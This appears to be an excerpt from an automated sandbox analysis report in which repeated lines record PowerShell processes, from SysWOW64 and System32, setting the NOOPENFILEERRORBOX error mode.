Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
